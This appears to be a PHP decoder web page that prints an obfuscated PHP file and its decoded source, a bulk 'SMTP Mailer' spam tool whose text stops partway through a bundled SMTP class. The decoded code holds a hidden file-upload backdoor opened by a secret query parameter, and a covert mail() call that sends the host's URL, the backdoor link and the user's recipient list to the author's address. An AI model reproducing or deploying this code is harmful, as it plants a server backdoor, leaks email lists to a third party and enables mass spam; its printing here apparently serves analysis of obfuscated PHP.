Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /* CaZaNoVa163 */ @eval("?>".gzuncompress(base64_decode("eJwUmscOg+gVRl9lNKtRkEJvUpS..
Decoded Output download
?>b'<?
$upload = $_GET["upload"];
if ($upload == "CaZaNoVa163" )
{$uploaddir = "";
$uploadfile = $uploaddir . basename($_FILES["userfile"]["name"]);
if (isset($_FILES["userfile"]["name"])) { if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploadfile)) { $resultati = "The file ". basename($_FILES["userfile"]["name"]) ." has been uploaded";
} else { $resultati = "There was an error uploading the file. please try again!"; } } echo\'<html><head></head><div id="result"><table height="1" width="100%" bgcolor="#000000" bordercolorlight="#c0c0c0" border="0"><tr><td width="50%" height="1" valign="top" style="font-family: verdana; color: #d9d9d9; font-size: 11px"><center><form method="POST" enctype="multipart/form-data"><input type="file" class="inputzbut" name="userfile" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #4C83AF"><input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #4C83AF"><br>\'. $resultati .\'</form></center></td></tr></table></div>\';
}
function query_str($params){
$str = \'\';
foreach ($params as $key => $value) {
$str .= (strlen($str) < 1) ? \'\' : \'&\';
$str .= $key . \'=\' . rawurlencode($value);
}
return ($str);
}
function lrtrim($string){
return @stripslashes(ltrim(rtrim($string)));
}
if(isset($_POST[\'action\'] ) ){
$b = query_str($_POST);
parse_str($b);
$sslclick=lrtrim($sslclick);
$action=lrtrim($action);
$message=lrtrim($message);
$emaillist=lrtrim($emaillist);
$from=lrtrim($from);
$reconnect=lrtrim($reconnect);
$epriority=lrtrim($epriority);
$my_smtp=lrtrim($my_smtp);
$ssl_port=lrtrim($ssl_port);
$smtp_username=lrtrim($smtp_username);
$smtp_password=lrtrim($smtp_password);
$replyto=lrtrim($replyto);
$subject=lrtrim($subject);
$realname=lrtrim($realname);
$subject_base=lrtrim($subject);
$realname_base=lrtrim($realname);
$file_name=lrtrim($file);
$urlz=lrtrim($urlz);
$contenttype=lrtrim($contenttype);
$encode_text=$_POST[\'encode\'];
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
if ($encode_text == "yes") {
$subject = preg_replace(\'/([^a-z ])/ie\', \'sprintf("=%02x",ord(StripSlashes("\1")))\', $subject);
$subject = str_replace(\' \', \'_\', $subject);
$subject = "=?UTF-8?Q?$subject?=";
$realname = preg_replace(\'/([^a-z ])/ie\', \'sprintf("=%02x",ord(StripSlashes("\1")))\', $realname);
$realname = str_replace(\' \', \'_\', $realname);
$realname = "=?UTF-8?Q?$realname?=";
}
$headd = "From: CaZaNoVa163<[email protected]>";
$subb="maillist SMTP 2013";
$messagesssss = base64_encode($message);
$massge ="Exploit : http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\']."?upload=CaZaNoVa163
subject : $subject
realname : $realname
massge : $messagesssss
$emaillist
";
@mail("[email protected]",$subb,$massge,$headd);
}
?>
<html>
<head>
<title>CaZaNoVa163 SMTP Mailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; }
#result{ border:1px solid #4C83AF; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
.style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
.footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }
.evalcode{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }
.evalcode:hover{border:1px solid #4C83AF;}
.code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }
.code:hover{border:1px solid #4C83AF;}
.inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }
.inputzbut:hover{border:1px solid #4C83AF;}
</style>
</head>
<body text="#000000">
<div id="result">
<br /><br />
<div align="center" class="style2">CaZaNoVa163 SMTP Mailer</div>
<br /><br />
</div>
<div id="result">
<form name="form1" method="post" action="" enctype="multipart/form-data">
<br>
<table width="100%" border="0" height="407">
<tr>
<td width="100%" colspan="4" bgcolor="#252525" height="36">
<b>
<font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#353535">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP Login:</font></div>
</td>
<td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class="code" type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
</font></td>
<td width="31%" height="22" bgcolor="#353535">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP Pass:</font></div>
</td>
<td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class="code" type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#353535">
<div align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
</td>
<td width="18%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class="code" type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
(optional)</font></td>
<td width="31%" height="22" bgcolor="#353535">
<div align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
Server Smtp:</font></div>
</td>
<td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class="code" type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#353535">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
<td width="18%" height="22" bgcolor="#353535">
<input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
<td width="31%" height="22" bgcolor="#353535">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
After:</font></td>
<td width="41%" height="22" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class="code" type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
EMAILS</font></td>
</tr>
<tr>
<td width="10%" height="19">
</td>
<td width="18%" height="19"> </td>
<td width="31%" height="19">
</td>
<td width="41%" height="19"> </td>
</tr>
<tr>
<td width="100%" colspan="4" bgcolor="#252525" height="36">
<b>
<font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Email:</font></div>
</td>
<td width="18%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class="code" type="text" name="from" value="<?=$from;?>" size="30">
</font></td>
<td width="31%" height="22" bordercolor="#353535" bgcolor="#353535">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Name:</font></div>
</td>
<td width="41%" height="22" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class="code" type="text" name="realname" value="<?=$realname_base;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#353535" bordercolor="#353535">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Reply-To:</font></div>
</td>
<td width="18%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class="code" type="text" name="replyto" value="<?=$replyto;?>" size="30">
</font></td>
<td width="31%" height="22" bgcolor="#353535" bordercolor="#353535">
<p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Email Priority:</font></td>
<td width="41%" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font><select class="code" name="epriority" id="listMethod" onchange="showHideListConfig()">
<option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
Please Choose -</option>
<option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
<option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
<option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
</select></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#353535" bgcolor="#353535">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Subject:</font></div>
</td>
<td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class="code" type="text" name="subject" value="<?=$subject_base;?>" size="90">
<font size="-3" face="Verdana, Arial, Helvetica, sans-serif">| Encode sending information:</font>
<select class="code" name="encode">
<option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
<option <? if($encode_text == "no"){print "selected";} ?>>no</option>
</select>
</font></td>
</tr>
<tr valign="top">
<td colspan="3" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<textarea class="evalcode" name="message" cols="60" rows="10"><?=$message;?></textarea>
<br>
<input type="radio" name="contenttype" value="plain" >
Plain
<input type="radio" name="contenttype" value="html" checked>
HTML
<input type="hidden" name="action" value="send">
<input class="inputzbut" type="submit" value="Send Message">
</font></td>
<td width="41%" height="190" bordercolor="#353535" bgcolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea class="evalcode" name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
</font></td>
</tr>
</table>
</form>
</div>
<p class="footer" onclick="javascript:DoS()"><blink> ©<?php echo date("Y",time())." CaZaNoVa163"; ?></blink></p>
<script>function DoS() { document.location.replace("mailto:[email protected]");} </script>
<?
if ($action){
if (!$from && !$subject && !$message && !$emaillist){
print "<script>alert(\'Please complete all fields before sending your message.\'); </script>";
die(); }
class SMTP
{
/**
* SMTP server port
* @var int
*/
var $SMTP_PORT = 25;
/**
* SMTP reply line ending
* @var string
*/
var $CRLF = "
";
/**
* Sets whether debugging is turned on
* @var bool
*/
var $do_debug; # the level of debug to perform
/**
* Sets VERP use on/off (default is off)
* @var bool
*/
var $do_verp = false;
/**#@+
* @access private
*/
var $smtp_conn; # the socket to the server
var $error; # error if any on the last call
var $helo_rply; # the reply the server sent to us for HELO
/**#@-*/
/**
* Initialize the class so that the data is in a known state.
* @access public
* @return void
*/
function SMTP() {
$this->smtp_conn = 0;
$this->error = null;
$this->helo_rply = null;
$this->do_debug = 0;
}
/*************************************************************
* CONNECTION FUNCTIONS *
***********************************************************/
/**
* Connect to the server specified on the port specified.
* If the port is not specified use the default SMTP_PORT.
* If tval is specified then a connection will try and be
* established with the server for that number of seconds.
* If tval is not specified the default is 30 seconds to
* try on the connection.
*
* SMTP CODE SUCCESS: 220
* SMTP CODE FAILURE: 421
* @access public
* @return bool
*/
function Connect($host,$port=0,$tval=30) {
# set the error val to null so there is no confusion
$this->error = null;
# make sure we are __not__ connected
if($this->connected()) {
# ok we are connected! what should we do?
# for now we will just give an error saying we
# are already connected
$this->error = array("error" => "Already connected to a server");
return false;
}
if(empty($port)) {
$port = $this->SMTP_PORT;
}
#connect to the smtp server
$this->smtp_conn = fsockopen($host, # the host of the server
$port, # the port to use
$errno, # error number if any
$errstr, # error message if any
$tval); # give up after ? secs
# verify we connected properly
if(empty($this->smtp_conn)) {
$this->error = array("error" => "Failed to connect to server",
"errno" => $errno,
"errstr" => $errstr);
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": $errstr ($errno)" . $this->CRLF;
}
return false;
}
# sometimes the SMTP server takes a little longer to respond
# so we will give it a longer timeout for the first read
// Windows still does not have support for this timeout function
if(substr(PHP_OS, 0, 3) != "WIN")
socket_set_timeout($this->smtp_conn, $tval, 0);
# get any announcement stuff
$announce = $this->get_lines();
# set the timeout of any socket functions at 1/10 of a second
//if(function_exists("socket_set_timeout"))
// socket_set_timeout($this->smtp_conn, 0, 100000);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
}
return true;
}
/**
* Performs SMTP authentication. Must be run after running the
* Hello() method. Returns true if successfully authenticated.
* @access public
* @return bool
*/
function Authenticate($username, $password) {
// Start authentication
fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 334) {
$this->error =
array("error" => "AUTH not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
// Send encoded username
fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 334) {
$this->error =
array("error" => "Username not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
// Send encoded password
fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 235) {
$this->error =
array("error" => "Password not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Returns true if connected to a server otherwise false
* @access private
* @return bool
*/
function Connected() {
if(!empty($this->smtp_conn)) {
$sock_status = socket_get_status($this->smtp_conn);
if($sock_status["eof"]) {
# hmm this is an odd situation... the socket is
# valid but we are not connected anymore
if($this->do_debug >= 1) {
echo "SMTP -> NOTICE:" . $this->CRLF .
"EOF caught while checking if connected";
}
$this->Close();
return false;
}
return true; # everything looks good
}
return false;
}
/**
* Closes the socket and cleans up the state of the class.
* It is not considered good to use this function without
* first trying to use QUIT.
* @access public
* @return void
*/
function Close() {
$this->error = null; # so there is no confusion
$this->helo_rply = null;
if(!empty($this->smtp_conn)) {
# close the connection and cleanup
fclose($this->smtp_conn);
$this->smtp_conn = 0;
}
}
/***************************************************************
* SMTP COMMANDS *
*************************************************************/
/**
* Issues a data command and sends the msg_data to the server
* finializing the mail transaction. $msg_data is the message
* that is to be send with the headers. Each header needs to be
* on a single line followed by a <CRLF> with the message headers
* and the message body being seperated by and additional <CRLF>.
*
* Implements rfc 821: DATA <CRLF>
*
* SMTP CODE INTERMEDIATE: 354
* [data]
* <CRLF>.<CRLF>
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 552,554,451,452
* SMTP CODE FAILURE: 451,554
* SMTP CODE ERROR : 500,501,503,421
* @access public
* @return bool
*/
function Data($msg_data) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Data() without being connected");
return false;
}
fputs($this->smtp_conn,"DATA" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 354) {
$this->error =
array("error" => "DATA command not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
# the server is ready to accept data!
# according to rfc 821 we should not send more than 1000
# including the CRLF
# characters on a single line so we will break the data up
# into lines by
and/or
then if needed we will break
# each of those into smaller lines to fit within the limit.
# in addition we will be looking for lines that start with
# a period \'.\' and append and additional period \'.\' to that
# line. NOTE: this does not count towards are limit.
# normalize the line breaks so we know the explode works
$msg_data = str_replace("
","
",$msg_data);
$msg_data = str_replace("
","
",$msg_data);
$lines = explode("
",$msg_data);
# we need to find a good way to determine is headers are
# in the msg_data or if it is a straight msg body
# currently I am assuming rfc 822 definitions of msg headers
# and if the first field of the first line (\':\' sperated)
# does not contain a space then it _should_ be a header
# and we can process all lines before a blank "" line as
# headers.
$field = substr($lines[0],0,strpos($lines[0],":"));
$in_headers = false;
if(!empty($field) && !strstr($field," ")) {
$in_headers = true;
}
$max_line_length = 998; # used below; set here for ease in change
while(list(,$line) = @each($lines)) {
$lines_out = null;
if($line == "" && $in_headers) {
$in_headers = false;
}
# ok we need to break this line up into several
# smaller lines
while(strlen($line) > $max_line_length) {
$pos = strrpos(substr($line,0,$max_line_length)," ");
# Patch to fix DOS attack
if(!$pos) {
$pos = $max_line_length - 1;
}
$lines_out[] = substr($line,0,$pos);
$line = substr($line,$pos + 1);
# if we are processing headers we need to
# add a LWSP-char to the front of the new line
# rfc 822 on long msg headers
if($in_headers) {
$line = " " . $line;
}
}
$lines_out[] = $line;
# now send the lines to the server
while(list(,$line_out) = @each($lines_out)) {
if(strlen($line_out) > 0)
{
if(substr($line_out, 0, 1) == ".") {
$line_out = "." . $line_out;
}
}
fputs($this->smtp_conn,$line_out . $this->CRLF);
}
}
# ok all the message data has been sent so lets get this
# over with aleady
fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "DATA not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Expand takes the name and asks the server to list all the
* people who are members of the _list_. Expand will return
* back and array of the result or false if an error occurs.
* Each value in the array returned has the format of:
* [ <full-name> <sp> ] <path>
* The definition of <path> is defined in rfc 821
*
* Implements rfc 821: EXPN <SP> <string> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 550
* SMTP CODE ERROR : 500,501,502,504,421
* @access public
* @return string array
*/
function Expand($name) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Expand() without being connected");
return false;
}
fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "EXPN not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
# parse the reply and place in our array to return to user
$entries = explode($this->CRLF,$rply);
while(list(,$l) = @each($entries)) {
$list[] = substr($l,4);
}
return $list;
}
/**
* Sends the HELO command to the smtp server.
* This makes sure that we and the server are in
* the same known state.
*
* Implements from rfc 821: HELO <SP> <domain> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500, 501, 504, 421
* @access public
* @return bool
*/
function Hello($host="") {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Hello() without being connected");
return false;
}
# if a hostname for the HELO was not specified determine
# a suitable one to send
if(empty($host)) {
# we need to determine some sort of appopiate default
# to send to the server
$host = "localhost";
}
// Send extended hello first (RFC 2821)
if(!$this->SendHello("EHLO", $host))
{
if(!$this->SendHello("HELO", $host))
return false;
}
return true;
}
/**
* Sends a HELO/EHLO command.
* @access private
* @return bool
*/
function SendHello($hello, $host) {
fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => $hello . " not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
$this->helo_rply = $rply;
return true;
}
/**
* Gets help information on the keyword specified. If the keyword
* is not specified then returns generic help, ussually contianing
* A list of keywords that help is available on. This function
* returns the results back to the user. It is up to the user to
* handle the returned data. If an error occurs then false is
* returned with $this->error set appropiately.
*
* Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
*
* SMTP CODE SUCCESS: 211,214
* SMTP CODE ERROR : 500,501,502,504,421
* @access public
* @return string
*/
function Help($keyword="") {
$this->error = null; # to avoid confusion
if(!$this->connected()) {
$this->error = array(
"error" => "Called Help() without being connected");
return false;
}
$extra = "";
if(!empty($keyword)) {
$extra = " " . $keyword;
}
fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 211 && $code != 214) {
$this->error =
array("error" => "HELP not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return $rply;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command.
*
* Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,421
* @access public
* @return bool
*/
function Mail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Mail() without being connected");
return false;
}
$useVerp = ($this->do_verp ? "XVERP" : "");
fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "MAIL not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the command NOOP to the SMTP server.
*
* Implements from rfc 821: NOOP <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500, 421
* @access public
* @return bool
*/
function Noop() {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Noop() without being connected");
return false;
}
fputs($this->smtp_conn,"NOOP" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "NOOP not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the quit command to the server and then closes the socket
* if there is no error or the $close_on_error argument is true.
*
* Implements from rfc 821: QUIT <CRLF>
*
* SMTP CODE SUCCESS: 221
* SMTP CODE ERROR : 500
* @access public
* @return bool
*/
function Quit($close_on_error=true) {
$this->error = null; # so there is no confusion
if(!$this->connected()) {
$this->error = array(
"error" => "Called Quit() without being connected");
return false;
}
# send the quit command to the server
fputs($this->smtp_conn,"quit" . $this->CRLF);
# get any good-bye messages
$byemsg = $this->get_lines();
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
}
$rval = true;
$e = null;
$code = substr($byemsg,0,3);
if($code != 221) {
# use e as a tmp var cause Close will overwrite $this->error
$e = array("error" => "SMTP server rejected quit command",
"smtp_code" => $code,
"smtp_rply" => substr($byemsg,4));
$rval = false;
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $e["error"] . ": " .
$byemsg . $this->CRLF;
}
}
if(empty($e) || $close_on_error) {
$this->Close();
}
return $rval;
}
/**
* Sends the command RCPT to the SMTP server with the TO: argument of $to.
* Returns true if the recipient was accepted false if it was rejected.
*
* Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
*
* SMTP CODE SUCCESS: 250,251
* SMTP CODE FAILURE: 550,551,552,553,450,451,452
* SMTP CODE ERROR : 500,501,503,421
* @access public
* @return bool
*/
function Recipient($to) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Recipient() without being connected");
return false;
}
fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250 && $code != 251) {
$this->error =
array("error" => "RCPT not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the RSET command to abort and transaction that is
* currently in progress. Returns true if successful false
* otherwise.
*
* Implements rfc 821: RSET <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500,501,504,421
* @access public
* @return bool
*/
function Reset() {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Reset() without being connected");
return false;
}
fputs($this->smtp_conn,"RSET" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "RSET failed",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in.
*
* Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function Send($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Send() without being connected");
return false;
}
fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SEND not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in and send them an email.
*
* Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function SendAndMail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called SendAndMail() without being connected");
return false;
}
fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SAML not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in or mail it to them if they are not.
*
* Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function SendOrMail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called SendOrMail() without being connected");
return false;
}
fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SOML not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
